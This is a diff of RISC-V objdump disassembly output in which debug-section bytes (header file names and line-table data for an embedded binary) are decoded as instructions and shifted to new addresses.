-     4ec:	00682e6f          	jal	t3,824f2 <__stack_size+0x81cf2>
-     4f0:	0002                	c.slli64	zero
-     4f2:	7300                	flw	fs0,32(a4)
-     4f4:	6474                	flw	fa3,76(s0)
-     4f6:	696c                	flw	fa1,84(a0)
-     4f8:	2e62                	fld	ft8,24(sp)
-     4fa:	0068                	addi	a0,sp,12
-     4fc:	0001                	nop
-     4fe:	6100                	flw	fs0,0(a0)
-     500:	6c6c                	flw	fa1,92(s0)
-     502:	2e61636f          	jal	t1,167e8 <__stack_size+0x15fe8>
-     506:	0068                	addi	a0,sp,12
-     508:	6c000003          	lb	zero,1728(zero) # 6c0 <__stack_size-0x140>
-     50c:	6d69                	lui	s10,0x1a
-     50e:	7469                	lui	s0,0xffffa
-     510:	00682e73          	csrrs	t3,0x6,a6
-     514:	0005                	c.nop	1
-     516:	7300                	flw	fs0,32(a4)
-     518:	7379                	lui	t1,0xffffe
-     51a:	696c                	flw	fa1,84(a0)
-     51c:	696d                	lui	s2,0x1b
-     51e:	7374                	flw	fa3,100(a4)
-     520:	682e                	flw	fa6,200(sp)
-     522:	0500                	addi	s0,sp,640
-     524:	0000                	unimp
-     526:	696c                	flw	fa1,84(a0)
-     528:	696d                	lui	s2,0x1b
-     52a:	7374                	flw	fa3,100(a4)
-     52c:	682e                	flw	fa6,200(sp)
-     52e:	0300                	addi	s0,sp,384
-     530:	0000                	unimp
-     532:	6c737973          	csrrci	s2,0x6c7,6
+     496:	7974                	flw	fa3,116(a0)
+     498:	6570                	flw	fa2,76(a0)
+     49a:	00682e73          	csrrs	t3,0x6,a6
+     49e:	0001                	nop
+     4a0:	7300                	flw	fs0,32(a4)
+     4a2:	6174                	flw	fa3,68(a0)
+     4a4:	2e74                	fld	fa3,216(a2)
+     4a6:	0068                	addi	a0,sp,12
+     4a8:	0002                	c.slli64	zero
+     4aa:	7400                	flw	fs0,40(s0)
+     4ac:	6d69                	lui	s10,0x1a
+     4ae:	2e65                	jal	866 <__stack_size+0x66>
+     4b0:	0068                	addi	a0,sp,12
+     4b2:	0004                	0x4
+     4b4:	7200                	flw	fs0,32(a2)
+     4b6:	6565                	lui	a0,0x19
+     4b8:	746e                	flw	fs0,248(sp)
+     4ba:	682e                	flw	fa6,200(sp)
+     4bc:	0200                	addi	s0,sp,256
+     4be:	0000                	unimp
+     4c0:	6f6c                	flw	fa1,92(a4)
+     4c2:	682e6b63          	bltu	t3,sp,b58 <__stack_size+0x358>
+     4c6:	0200                	addi	s0,sp,256
+     4c8:	0000                	unimp
+     4ca:	6974                	flw	fa3,84(a0)
+     4cc:	656d                	lui	a0,0x1b
+     4ce:	682e                	flw	fa6,200(sp)
+     4d0:	0100                	addi	s0,sp,128
+     4d2:	0000                	unimp
+     4d4:	6c5f 636f 6c61      	0x6c61636f6c5f
+     4da:	2e65                	jal	892 <__stack_size+0x92>
+     4dc:	0068                	addi	a0,sp,12
+     4de:	0002                	c.slli64	zero
+     4e0:	7500                	flw	fs0,40(a0)
+     4e2:	696e                	flw	fs2,216(sp)
+     4e4:	2e647473          	csrrci	s0,0x2e6,8
+     4e8:	0068                	addi	a0,sp,12
+     4ea:	0004                	0x4
+     4ec:	7300                	flw	fs0,32(a4)
+     4ee:	7274                	flw	fa3,100(a2)
+     4f0:	6e69                	lui	t3,0x1a
+     4f2:	682e7367          	0x682e7367
+     4f6:	0400                	addi	s0,sp,512
+     4f8:	0000                	unimp
+     4fa:	69727473          	csrrci	s0,0x697,4
+     4fe:	676e                	flw	fa4,216(sp)
+     500:	682e                	flw	fa6,200(sp)
+     502:	0200                	addi	s0,sp,256
+     504:	0000                	unimp
+     506:	61647473          	csrrci	s0,0x616,8
+     50a:	6772                	flw	fa4,28(sp)
+     50c:	682e                	flw	fa6,200(sp)
+     50e:	0500                	addi	s0,sp,640
+     510:	0000                	unimp
+     512:	69647473          	csrrci	s0,0x696,8
+     516:	00682e6f          	jal	t3,8251c <__stack_size+0x81d1c>
+     51a:	0002                	c.slli64	zero
+     51c:	7300                	flw	fs0,32(a4)
+     51e:	6474                	flw	fa3,76(s0)
+     520:	696c                	flw	fa1,84(a0)
+     522:	2e62                	fld	ft8,24(sp)
+     524:	0068                	addi	a0,sp,12
+     526:	0001                	nop
+     528:	6100                	flw	fs0,0(a0)
+     52a:	6c6c                	flw	fa1,92(s0)
+     52c:	2e61636f          	jal	t1,16812 <__stack_size+0x16012>
+     530:	0068                	addi	a0,sp,12
+     532:	0004                	0x4
+     534:	6c00                	flw	fs0,24(s0)
      536:	6d69                	lui	s10,0x1a
      538:	7469                	lui	s0,0xffffa
      53a:	00682e73          	csrrs	t3,0x6,a6
-     53e:	0002                	c.slli64	zero
-     540:	7000                	flw	fs0,32(s0)
-     542:	616c                	flw	fa1,68(a0)
-     544:	6674                	flw	fa3,76(a2)
-     546:	2e6d726f          	jal	tp,d782c <__stack_size+0xd702c>
-     54a:	0068                	addi	a0,sp,12
-     54c:	0006                	c.slli	zero,0x1
-     54e:	6d00                	flw	fs0,24(a0)
-     550:	6c75                	lui	s8,0x1d
-     552:	6974                	flw	fa3,84(a0)
-     554:	6f7a                	flw	ft10,156(sp)
-     556:	656e                	flw	fa0,216(sp)
-     558:	682e                	flw	fa6,200(sp)
-     55a:	0700                	addi	s0,sp,896
-     55c:	0000                	unimp
-     55e:	69647473          	csrrci	s0,0x696,8
-     562:	746e                	flw	fs0,248(sp)
-     564:	682e                	flw	fa6,200(sp)
-     566:	0400                	addi	s0,sp,512
-     568:	0000                	unimp
-     56a:	69647473          	csrrci	s0,0x696,8
-     56e:	746e                	flw	fs0,248(sp)
-     570:	672d                	lui	a4,0xb
-     572:	682e6363          	bltu	t3,sp,bf8 <__stack_size+0x3f8>
-     576:	0400                	addi	s0,sp,512
-     578:	0000                	unimp
-     57a:	0500                	addi	s0,sp,640
-     57c:	0205002b          	0x205002b
-     580:	19ac                	addi	a1,sp,248
-     582:	2040                	fld	fs0,128(s0)
-     584:	01019e03          	lh	t3,16(gp) # 8000e080 <__global_pointer$+0x10>
-     588:	0505                	addi	a0,a0,1
-     58a:	00090203          	lb	tp,0(s2) # 1b000 <__stack_size+0x1a800>
-     58e:	0100                	addi	s0,sp,128
-     590:	0f05                	addi	t5,t5,1
-     592:	0306                	slli	t1,t1,0x1
-     594:	0900                	addi	s0,sp,144
-     596:	0000                	unimp
-     598:	0501                	addi	a0,a0,0
-     59a:	0605                	addi	a2,a2,1
-     59c:	02090103          	lb	sp,32(s2)
-     5a0:	0100                	addi	s0,sp,128
-     5a2:	0f05                	addi	t5,t5,1
-     5a4:	0306                	slli	t1,t1,0x1
-     5a6:	0900                	addi	s0,sp,144
-     5a8:	0000                	unimp
-     5aa:	0501                	addi	a0,a0,0
-     5ac:	0605                	addi	a2,a2,1
-     5ae:	02090103          	lb	sp,32(s2)
-     5b2:	0100                	addi	s0,sp,128
-     5b4:	1905                	addi	s2,s2,-31
-     5b6:	0306                	slli	t1,t1,0x1
-     5b8:	0900                	addi	s0,sp,144
-     5ba:	0000                	unimp
-     5bc:	0501                	addi	a0,a0,0
-     5be:	04020027          	0x4020027
-     5c2:	0301                	addi	t1,t1,0
-     5c4:	0900                	addi	s0,sp,144
-     5c6:	0004                	0x4
-     5c8:	0501                	addi	a0,a0,0
-     5ca:	0319                	addi	t1,t1,6
-     5cc:	0900                	addi	s0,sp,144
-     5ce:	0006                	c.slli	zero,0x1
-     5d0:	0501                	addi	a0,a0,0
-     5d2:	0301                	addi	t1,t1,0
-     5d4:	0901                	addi	s2,s2,0
-     5d6:	0002                	c.slli64	zero
-     5d8:	0901                	addi	s2,s2,0
-     5da:	0002                	c.slli64	zero
-     5dc:	0100                	addi	s0,sp,128
+     53e:	0006                	c.slli	zero,0x1
+     540:	7300                	flw	fs0,32(a4)
+     542:	7379                	lui	t1,0xffffe
+     544:	696c                	flw	fa1,84(a0)
+     546:	696d                	lui	s2,0x1b
+     548:	7374                	flw	fa3,100(a4)
+     54a:	682e                	flw	fa6,200(sp)
+     54c:	0600                	addi	s0,sp,768
+     54e:	0000                	unimp
+     550:	696c                	flw	fa1,84(a0)
+     552:	696d                	lui	s2,0x1b
+     554:	7374                	flw	fa3,100(a4)
+     556:	682e                	flw	fa6,200(sp)
+     558:	0400                	addi	s0,sp,512
+     55a:	0000                	unimp
+     55c:	6c737973          	csrrci	s2,0x6c7,6
+     560:	6d69                	lui	s10,0x1a
+     562:	7469                	lui	s0,0xffffa
+     564:	00682e73          	csrrs	t3,0x6,a6
+     568:	0002                	c.slli64	zero
+     56a:	7000                	flw	fs0,32(s0)
+     56c:	616c                	flw	fa1,68(a0)
+     56e:	6674                	flw	fa3,76(a2)
+     570:	2e6d726f          	jal	tp,d7856 <__stack_size+0xd7056>
+     574:	0068                	addi	a0,sp,12
+     576:	6d000007          	0x6d000007
+     57a:	6c75                	lui	s8,0x1d
+     57c:	6974                	flw	fa3,84(a0)
+     57e:	6f7a                	flw	ft10,156(sp)
+     580:	656e                	flw	fa0,216(sp)
+     582:	682e                	flw	fa6,200(sp)
+     584:	0800                	addi	s0,sp,16
+     586:	0000                	unimp
+     588:	69647473          	csrrci	s0,0x696,8
+     58c:	746e                	flw	fs0,248(sp)
+     58e:	682e                	flw	fa6,200(sp)
+     590:	0500                	addi	s0,sp,640
+     592:	0000                	unimp
+     594:	69647473          	csrrci	s0,0x696,8
+     598:	746e                	flw	fs0,248(sp)
+     59a:	672d                	lui	a4,0xb
+     59c:	682e6363          	bltu	t3,sp,c22 <__stack_size+0x422>
+     5a0:	0500                	addi	s0,sp,640
+     5a2:	0000                	unimp
+     5a4:	0500                	addi	s0,sp,640
+     5a6:	0036                	c.slli	zero,0xd
+     5a8:	0205                	addi	tp,tp,1
+     5aa:	1a46                	slli	s4,s4,0x31
+     5ac:	2040                	fld	fs0,128(s0)
+     5ae:	05011703          	lh	a4,80(sp)
+     5b2:	0302                	c.slli64	t1
+     5b4:	0902                	c.slli64	s2
+     5b6:	0000                	unimp
+     5b8:	0501                	addi	a0,a0,0
+     5ba:	031f 0900 0000      	0x900031f
+     5c0:	0301                	addi	t1,t1,0
+     5c2:	0900                	addi	s0,sp,144
+     5c4:	0000                	unimp
+     5c6:	0501                	addi	a0,a0,0
+     5c8:	0636                	slli	a2,a2,0xd
+     5ca:	00097e03          	0x97e03
+     5ce:	0100                	addi	s0,sp,128
+     5d0:	1f05                	addi	t5,t5,-31
+     5d2:	28090203          	lb	tp,640(s2) # 1b280 <__stack_size+0x1aa80>
+     5d6:	0100                	addi	s0,sp,128
+     5d8:	0306                	slli	t1,t1,0x1
+     5da:	0900                	addi	s0,sp,144
+     5dc:	000a                	c.slli	zero,0x2
      5de:	0501                	addi	a0,a0,0
-     5e0:	0036                	c.slli	zero,0xd
-     5e2:	0205                	addi	tp,tp,1
-     5e4:	19be                	slli	s3,s3,0x2f
-     5e6:	2040                	fld	fs0,128(s0)
-     5e8:	05011503          	lh	a0,80(sp)
-     5ec:	0302                	c.slli64	t1
-     5ee:	0902                	c.slli64	s2
-     5f0:	0000                	unimp
-     5f2:	0501                	addi	a0,a0,0
-     5f4:	031f 0900 0000      	0x900031f
-     5fa:	0301                	addi	t1,t1,0
-     5fc:	0900                	addi	s0,sp,144
-     5fe:	0000                	unimp
-     600:	0501                	addi	a0,a0,0
-     602:	0636                	slli	a2,a2,0xd
-     604:	00097e03          	0x97e03
-     608:	0100                	addi	s0,sp,128
-     60a:	1f05                	addi	t5,t5,-31
-     60c:	28090203          	lb	tp,640(s2)
-     610:	0100                	addi	s0,sp,128
-     612:	0306                	slli	t1,t1,0x1
-     614:	0900                	addi	s0,sp,144
-     616:	000a                	c.slli	zero,0x2
-     618:	0501                	addi	a0,a0,0
-     61a:	0302                	c.slli64	t1
-     61c:	0901                	addi	s2,s2,0
-     61e:	0002                	c.slli64	zero
-     620:	0501                	addi	a0,a0,0
-     622:	031f 0900 0000      	0x900031f
-     628:	0301                	addi	t1,t1,0
-     62a:	0900                	addi	s0,sp,144
-     62c:	0000                	unimp
-     62e:	0301                	addi	t1,t1,0
-     630:	0900                	addi	s0,sp,144
-     632:	000a                	c.slli	zero,0x2
-     634:	0501                	addi	a0,a0,0
-     636:	0302                	c.slli64	t1
-     638:	0901                	addi	s2,s2,0
-     63a:	0002                	c.slli64	zero
-     63c:	0501                	addi	a0,a0,0
-     63e:	031f 0900 0000      	0x900031f
-     644:	0301                	addi	t1,t1,0
-     646:	0900                	addi	s0,sp,144
-     648:	0000                	unimp
-     64a:	0301                	addi	t1,t1,0
-     64c:	0900                	addi	s0,sp,144
-     64e:	000a                	c.slli	zero,0x2
-     650:	0501                	addi	a0,a0,0
-     652:	0602                	c.slli64	a2
-     654:	00090203          	lb	tp,0(s2)
-     658:	0100                	addi	s0,sp,128
-     65a:	1f05                	addi	t5,t5,-31
-     65c:	02097e03          	0x2097e03
-     660:	0100                	addi	s0,sp,128
-     662:	0205                	addi	tp,tp,1
-     664:	0306                	slli	t1,t1,0x1
-     666:	0902                	c.slli64	s2
-     668:	0002                	c.slli64	zero
-     66a:	0501                	addi	a0,a0,0
-     66c:	030c                	addi	a1,sp,384
-     66e:	00c9                	addi	ra,ra,18
-     670:	3209                	jal	ffffff72 <_heap_end+0x7fff1772>
-     672:	0100                	addi	s0,sp,128
-     674:	0b05                	addi	s6,s6,1
-     676:	097fb903          	0x97fb903
-     67a:	000e                	c.slli	zero,0x3
-     67c:	0501                	addi	a0,a0,0
-     67e:	060c                	addi	a1,sp,768
-     680:	0900c703          	lbu	a4,144(ra) # 2040482c <_sbrk_r+0x2>
-     684:	000c                	0xc
-     686:	0501                	addi	a0,a0,0
-     688:	0602                	c.slli64	a2
-     68a:	04090403          	lb	s0,64(s2)
-     68e:	0100                	addi	s0,sp,128
-     690:	0c090103          	lb	sp,192(s2)
-     694:	0100                	addi	s0,sp,128
-     696:	0705                	addi	a4,a4,1
-     698:	0306                	slli	t1,t1,0x1
+     5e0:	0302                	c.slli64	t1
+     5e2:	0901                	addi	s2,s2,0
+     5e4:	0002                	c.slli64	zero
+     5e6:	0501                	addi	a0,a0,0
+     5e8:	031f 0900 0000      	0x900031f
+     5ee:	0301                	addi	t1,t1,0
+     5f0:	0900                	addi	s0,sp,144
+     5f2:	0000                	unimp
+     5f4:	0301                	addi	t1,t1,0
+     5f6:	0900                	addi	s0,sp,144
+     5f8:	000a                	c.slli	zero,0x2
+     5fa:	0501                	addi	a0,a0,0
+     5fc:	0302                	c.slli64	t1
+     5fe:	0901                	addi	s2,s2,0
+     600:	0002                	c.slli64	zero
+     602:	0501                	addi	a0,a0,0
+     604:	031f 0900 0000      	0x900031f
+     60a:	0301                	addi	t1,t1,0
+     60c:	0900                	addi	s0,sp,144
+     60e:	0000                	unimp
+     610:	0301                	addi	t1,t1,0
+     612:	0900                	addi	s0,sp,144
+     614:	000a                	c.slli	zero,0x2
+     616:	0501                	addi	a0,a0,0
+     618:	0602                	c.slli64	a2
+     61a:	00090203          	lb	tp,0(s2)
+     61e:	0100                	addi	s0,sp,128
+     620:	1f05                	addi	t5,t5,-31
+     622:	02097e03          	0x2097e03
+     626:	0100                	addi	s0,sp,128
+     628:	0205                	addi	tp,tp,1
+     62a:	0306                	slli	t1,t1,0x1
+     62c:	0902                	c.slli64	s2
+     62e:	0002                	c.slli64	zero
+     630:	0501                	addi	a0,a0,0
+     632:	030c                	addi	a1,sp,384
+     634:	00c9                	addi	ra,ra,18
+     636:	3209                	jal	ffffff38 <_heap_end+0x7fff1738>
+     638:	0100                	addi	s0,sp,128
+     63a:	0b05                	addi	s6,s6,1
+     63c:	097fb903          	0x97fb903
+     640:	000e                	c.slli	zero,0x3
+     642:	0501                	addi	a0,a0,0
+     644:	060c                	addi	a1,sp,768
+     646:	0900c703          	lbu	a4,144(ra) # 20403574 <__sread+0x2>
+     64a:	000c                	0xc
+     64c:	0501                	addi	a0,a0,0
+     64e:	0602                	c.slli64	a2
+     650:	04090403          	lb	s0,64(s2)
+     654:	0100                	addi	s0,sp,128
+     656:	0c090103          	lb	sp,192(s2)
+     65a:	0100                	addi	s0,sp,128
+     65c:	0705                	addi	a4,a4,1
+     65e:	0306                	slli	t1,t1,0x1
+     660:	0900                	addi	s0,sp,144
+     662:	0000                	unimp
+     664:	0501                	addi	a0,a0,0
+     666:	0003060f          	0x3060f
+     66a:	0409                	addi	s0,s0,2
+     66c:	0100                	addi	s0,sp,128
+     66e:	2a05                	jal	79e <__stack_size-0x62>
+     670:	0200                	addi	s0,sp,256
+     672:	0204                	addi	s1,sp,256
+     674:	00090003          	lb	zero,0(s2)
+     678:	0100                	addi	s0,sp,128
+     67a:	1405                	addi	s0,s0,-31
+     67c:	0200                	addi	s0,sp,256
+     67e:	0204                	addi	s1,sp,256
+     680:	00090003          	lb	zero,0(s2)
+     684:	0100                	addi	s0,sp,128
+     686:	1505                	addi	a0,a0,-31
+     688:	0200                	addi	s0,sp,256
+     68a:	0204                	addi	s1,sp,256
+     68c:	0306                	slli	t1,t1,0x1
+     68e:	0900                	addi	s0,sp,144
+     690:	0000                	unimp
+     692:	0501                	addi	a0,a0,0
+     694:	0014                	0x14
+     696:	0402                	c.slli64	s0
+     698:	0302                	c.slli64	t1
      69a:	0900                	addi	s0,sp,144
-     69c:	0000                	unimp
+     69c:	000a                	c.slli	zero,0x2
      69e:	0501                	addi	a0,a0,0
-     6a0:	0003060f          	0x3060f
-     6a4:	0409                	addi	s0,s0,2
-     6a6:	0100                	addi	s0,sp,128
-     6a8:	2a05                	jal	7d8 <__stack_size-0x28>
-     6aa:	0200                	addi	s0,sp,256
-     6ac:	0204                	addi	s1,sp,256
-     6ae:	00090003          	lb	zero,0(s2)
-     6b2:	0100                	addi	s0,sp,128
-     6b4:	1405                	addi	s0,s0,-31
-     6b6:	0200                	addi	s0,sp,256
-     6b8:	0204                	addi	s1,sp,256
-     6ba:	00090003          	lb	zero,0(s2)
-     6be:	0100                	addi	s0,sp,128
-     6c0:	1505                	addi	a0,a0,-31
-     6c2:	0200                	addi	s0,sp,256
-     6c4:	0204                	addi	s1,sp,256
-     6c6:	0306                	slli	t1,t1,0x1
-     6c8:	0900                	addi	s0,sp,144
-     6ca:	0000                	unimp
-     6cc:	0501                	addi	a0,a0,0
-     6ce:	0014                	0x14
+     6a0:	002d                	c.nop	11
+     6a2:	0402                	c.slli64	s0
+     6a4:	00030603          	lb	a2,0(t1) # ffffe000 <_heap_end+0x7ffef800>
+     6a8:	0209                	addi	tp,tp,2
+     6aa:	0100                	addi	s0,sp,128
+     6ac:	0b05                	addi	s6,s6,1
+     6ae:	097fb703          	0x97fb703
+     6b2:	0006                	c.slli	zero,0x1
+     6b4:	0301                	addi	t1,t1,0
+     6b6:	000e0903          	lb	s2,0(t3) # 1a000 <__stack_size+0x19800>
+     6ba:	0301                	addi	t1,t1,0
+     6bc:	000e0903          	lb	s2,0(t3)
+     6c0:	0301                	addi	t1,t1,0
+     6c2:	000e0903          	lb	s2,0(t3)
+     6c6:	0501                	addi	a0,a0,0
+     6c8:	0308                	addi	a0,sp,384
+     6ca:	0901                	addi	s2,s2,0
+     6cc:	0010                	0x10
+     6ce:	0001                	nop
      6d0:	0402                	c.slli64	s0
-     6d2:	0302                	c.slli64	t1
+     6d2:	0304                	addi	s1,sp,384
      6d4:	0900                	addi	s0,sp,144
      6d6:	000a                	c.slli	zero,0x2
-     6d8:	0501                	addi	a0,a0,0
-     6da:	002d                	c.nop	11
-     6dc:	0402                	c.slli64	s0
-     6de:	00030603          	lb	a2,0(t1) # ffffe000 <_heap_end+0x7ffef800>
-     6e2:	0209                	addi	tp,tp,2
-     6e4:	0100                	addi	s0,sp,128
-     6e6:	0b05                	addi	s6,s6,1
-     6e8:	097fb703          	0x97fb703
-     6ec:	0006                	c.slli	zero,0x1
-     6ee:	0301                	addi	t1,t1,0
-     6f0:	000e0903          	lb	s2,0(t3) # 1a000 <__stack_size+0x19800>
-     6f4:	0301                	addi	t1,t1,0
-     6f6:	000e0903          	lb	s2,0(t3)
-     6fa:	0301                	addi	t1,t1,0
-     6fc:	000e0903          	lb	s2,0(t3)
-     700:	0501                	addi	a0,a0,0
-     702:	0308                	addi	a0,sp,384
-     704:	0901                	addi	s2,s2,0
-     706:	0010                	0x10
-     708:	0001                	nop
-     70a:	0402                	c.slli64	s0
-     70c:	0304                	addi	s1,sp,384
-     70e:	0900                	addi	s0,sp,144
-     710:	000a                	c.slli	zero,0x2
-     712:	0601                	addi	a2,a2,0
-     714:	02090403          	lb	s0,32(s2)
-     718:	0100                	addi	s0,sp,128
-     71a:	0105                	addi	sp,sp,1
-     71c:	04093d03          	0x4093d03
-     720:	0100                	addi	s0,sp,128
-     722:	0b05                	addi	s6,s6,1
-     724:	0306                	slli	t1,t1,0x1
-     726:	0942                	slli	s2,s2,0x10
-     728:	002c                	addi	a1,sp,8
-     72a:	0501                	addi	a0,a0,0
-     72c:	0308                	addi	a0,sp,384
-     72e:	0901                	addi	s2,s2,0
-     730:	0010                	0x10
-     732:	0301                	addi	t1,t1,0
-     734:	0900                	addi	s0,sp,144
-     736:	0000                	unimp
-     738:	0501                	addi	a0,a0,0
-     73a:	0903030b          	0x903030b
-     73e:	0004                	0x4
-     740:	0601                	addi	a2,a2,0
-     742:	0c090403          	lb	s0,192(s2)
-     746:	0100                	addi	s0,sp,128
-     748:	0705                	addi	a4,a4,1
-     74a:	0306                	slli	t1,t1,0x1
-     74c:	0901                	addi	s2,s2,0
-     74e:	0004                	0x4
-     750:	0001                	nop
-     752:	0402                	c.slli64	s0
-     754:	0304                	addi	s1,sp,384
-     756:	0900                	addi	s0,sp,144
-     758:	000c                	0xc
-     75a:	0501                	addi	a0,a0,0
-     75c:	097f030b          	0x97f030b
-     760:	0008                	0x8
-     762:	0301                	addi	t1,t1,0
-     764:	0904                	addi	s1,sp,144
-     766:	000e                	c.slli	zero,0x3
-     768:	0301                	addi	t1,t1,0
-     76a:	000e0903          	lb	s2,0(t3)
-     76e:	0301                	addi	t1,t1,0
-     770:	000e0903          	lb	s2,0(t3)
-     774:	0501                	addi	a0,a0,0
-     776:	0306                	slli	t1,t1,0x1
-     778:	0906                	slli	s2,s2,0x1
-     77a:	0010                	0x10
-     77c:	0301                	addi	t1,t1,0
-     77e:	0901                	addi	s2,s2,0
-     780:	0010                	0x10
-     782:	0301                	addi	t1,t1,0
-     784:	0901                	addi	s2,s2,0
-     786:	0012                	c.slli	zero,0x4
-     788:	0301                	addi	t1,t1,0
-     78a:	0901                	addi	s2,s2,0
-     78c:	0012                	c.slli	zero,0x4
-     78e:	0301                	addi	t1,t1,0
-     790:	0901                	addi	s2,s2,0
-     792:	000e                	c.slli	zero,0x3
-     794:	0301                	addi	t1,t1,0
+     6d8:	0601                	addi	a2,a2,0
+     6da:	02090403          	lb	s0,32(s2)
+     6de:	0100                	addi	s0,sp,128
+     6e0:	0105                	addi	sp,sp,1
+     6e2:	04093d03          	0x4093d03
+     6e6:	0100                	addi	s0,sp,128
+     6e8:	0b05                	addi	s6,s6,1
+     6ea:	0306                	slli	t1,t1,0x1
+     6ec:	0942                	slli	s2,s2,0x10
+     6ee:	002c                	addi	a1,sp,8
+     6f0:	0501                	addi	a0,a0,0
+     6f2:	0308                	addi	a0,sp,384
+     6f4:	0901                	addi	s2,s2,0
+     6f6:	0010                	0x10
+     6f8:	0301                	addi	t1,t1,0
+     6fa:	0900                	addi	s0,sp,144
+     6fc:	0000                	unimp
+     6fe:	0501                	addi	a0,a0,0
+     700:	0903030b          	0x903030b
+     704:	0004                	0x4
+     706:	0601                	addi	a2,a2,0
+     708:	0c090403          	lb	s0,192(s2)
+     70c:	0100                	addi	s0,sp,128
+     70e:	0705                	addi	a4,a4,1
+     710:	0306                	slli	t1,t1,0x1
+     712:	0901                	addi	s2,s2,0
+     714:	0004                	0x4
+     716:	0001                	nop
+     718:	0402                	c.slli64	s0
+     71a:	0304                	addi	s1,sp,384
+     71c:	0900                	addi	s0,sp,144
+     71e:	000c                	0xc
+     720:	0501                	addi	a0,a0,0
+     722:	097f030b          	0x97f030b
+     726:	0008                	0x8
+     728:	0301                	addi	t1,t1,0
+     72a:	0904                	addi	s1,sp,144
+     72c:	000e                	c.slli	zero,0x3
+     72e:	0301                	addi	t1,t1,0
+     730:	000e0903          	lb	s2,0(t3)
+     734:	0301                	addi	t1,t1,0
+     736:	000e0903          	lb	s2,0(t3)
+     73a:	0501                	addi	a0,a0,0
+     73c:	0306                	slli	t1,t1,0x1
+     73e:	0906                	slli	s2,s2,0x1
+     740:	0010                	0x10
+     742:	0301                	addi	t1,t1,0
+     744:	0901                	addi	s2,s2,0
+     746:	0010                	0x10
+     748:	0301                	addi	t1,t1,0
+     74a:	0901                	addi	s2,s2,0
+     74c:	0012                	c.slli	zero,0x4
+     74e:	0301                	addi	t1,t1,0
+     750:	0901                	addi	s2,s2,0
+     752:	0012                	c.slli	zero,0x4
+     754:	0301                	addi	t1,t1,0
+     756:	0901                	addi	s2,s2,0
+     758:	000e                	c.slli	zero,0x3
+     75a:	0301                	addi	t1,t1,0
+     75c:	0901                	addi	s2,s2,0
+     75e:	000e                	c.slli	zero,0x3
+     760:	0301                	addi	t1,t1,0
+     762:	0901                	addi	s2,s2,0
+     764:	0010                	0x10
+     766:	0501                	addi	a0,a0,0
+     768:	0621                	addi	a2,a2,8
+     76a:	00090003          	lb	zero,0(s2)
+     76e:	0100                	addi	s0,sp,128
+     770:	0605                	addi	a2,a2,1
+     772:	0306                	slli	t1,t1,0x1
+     774:	0901                	addi	s2,s2,0
+     776:	0008                	0x8
+     778:	0301                	addi	t1,t1,0
+     77a:	00040903          	lb	s2,0(s0) # ffffa000 <_heap_end+0x7ffeb800>
+     77e:	0301                	addi	t1,t1,0
+     780:	0901                	addi	s2,s2,0
+     782:	0010                	0x10
+     784:	0301                	addi	t1,t1,0
+     786:	0901                	addi	s2,s2,0
+     788:	0012                	c.slli	zero,0x4
+     78a:	0501                	addi	a0,a0,0
+     78c:	0320                	addi	s0,sp,392
+     78e:	0900                	addi	s0,sp,144
+     790:	0010                	0x10
+     792:	0501                	addi	a0,a0,0
+     794:	0306                	slli	t1,t1,0x1
      796:	0901                	addi	s2,s2,0
-     798:	000e                	c.slli	zero,0x3
+     798:	0014                	0x14
      79a:	0301                	addi	t1,t1,0
      79c:	0901                	addi	s2,s2,0
      79e:	0010                	0x10
      7a0:	0501                	addi	a0,a0,0
-     7a2:	0621                	addi	a2,a2,8
-     7a4:	00090003          	lb	zero,0(s2)
-     7a8:	0100                	addi	s0,sp,128
-     7aa:	0605                	addi	a2,a2,1
-     7ac:	0306                	slli	t1,t1,0x1
-     7ae:	0901                	addi	s2,s2,0
-     7b0:	0008                	0x8
-     7b2:	0301                	addi	t1,t1,0
-     7b4:	00040903          	lb	s2,0(s0) # ffffa000 <_heap_end+0x7ffeb800>
-     7b8:	0301                	addi	t1,t1,0
-     7ba:	0901                	addi	s2,s2,0
-     7bc:	0010                	0x10
-     7be:	0301                	addi	t1,t1,0
-     7c0:	0901                	addi	s2,s2,0
-     7c2:	0012                	c.slli	zero,0x4
-     7c4:	0501                	addi	a0,a0,0
-     7c6:	0320                	addi	s0,sp,392
-     7c8:	0900                	addi	s0,sp,144
-     7ca:	0010                	0x10
-     7cc:	0501                	addi	a0,a0,0
-     7ce:	0306                	slli	t1,t1,0x1
-     7d0:	0901                	addi	s2,s2,0
-     7d2:	0014                	0x14
-     7d4:	0301                	addi	t1,t1,0
-     7d6:	0901                	addi	s2,s2,0
-     7d8:	0010                	0x10
-     7da:	0501                	addi	a0,a0,0
-     7dc:	09000323          	sb	a6,134(zero) # 86 <__stack_size-0x77a>
-     7e0:	000c                	0xc
-     7e2:	0501                	addi	a0,a0,0
-     7e4:	0306                	slli	t1,t1,0x1
-     7e6:	0901                	addi	s2,s2,0
-     7e8:	0000                	unimp
-     7ea:	0301                	addi	t1,t1,0
-     7ec:	0900                	addi	s0,sp,144
-     7ee:	0000                	unimp
-     7f0:	0301                	addi	t1,t1,0
-     7f2:	0900                	addi	s0,sp,144
-     7f4:	0000                	unimp
-     7f6:	0301                	addi	t1,t1,0
-     7f8:	0900                	addi	s0,sp,144
-     7fa:	0000                	unimp
-     7fc:	0301                	addi	t1,t1,0
-     7fe:	0900                	addi	s0,sp,144
-     800:	0008                	0x8
-     802:	0301                	addi	t1,t1,0
-     804:	0901                	addi	s2,s2,0
-     806:	0000                	unimp
-     808:	0301                	addi	t1,t1,0
-     80a:	00020903          	lb	s2,0(tp) # fffe1000 <_heap_end+0x7ffd2800>
-     80e:	0501                	addi	a0,a0,0
-     810:	09000307          	0x9000307
-     814:	0000                	unimp
-     816:	0501                	addi	a0,a0,0
-     818:	0616                	slli	a2,a2,0x5
-     81a:	00090003          	lb	zero,0(s2)
-     81e:	0100                	addi	s0,sp,128
-     820:	2005                	jal	840 <__stack_size+0x40>
-     822:	04090103          	lb	sp,64(s2)
-     826:	0100                	addi	s0,sp,128
-     828:	1605                	addi	a2,a2,-31
-     82a:	06097f03          	0x6097f03
-     82e:	0100                	addi	s0,sp,128
-     830:	0605                	addi	a2,a2,1
-     832:	0306                	slli	t1,t1,0x1
-     834:	0901                	addi	s2,s2,0
-     836:	0004                	0x4
-     838:	0501                	addi	a0,a0,0
-     83a:	0314                	addi	a3,sp,384
-     83c:	0900                	addi	s0,sp,144
-     83e:	0000                	unimp
-     840:	0501                	addi	a0,a0,0
-     842:	0620                	addi	s0,sp,776
-     844:	00090003          	lb	zero,0(s2)
-     848:	0100                	addi	s0,sp,128
-     84a:	0605                	addi	a2,a2,1
-     84c:	0306                	slli	t1,t1,0x1
-     84e:	0901                	addi	s2,s2,0
-     850:	0006                	c.slli	zero,0x1
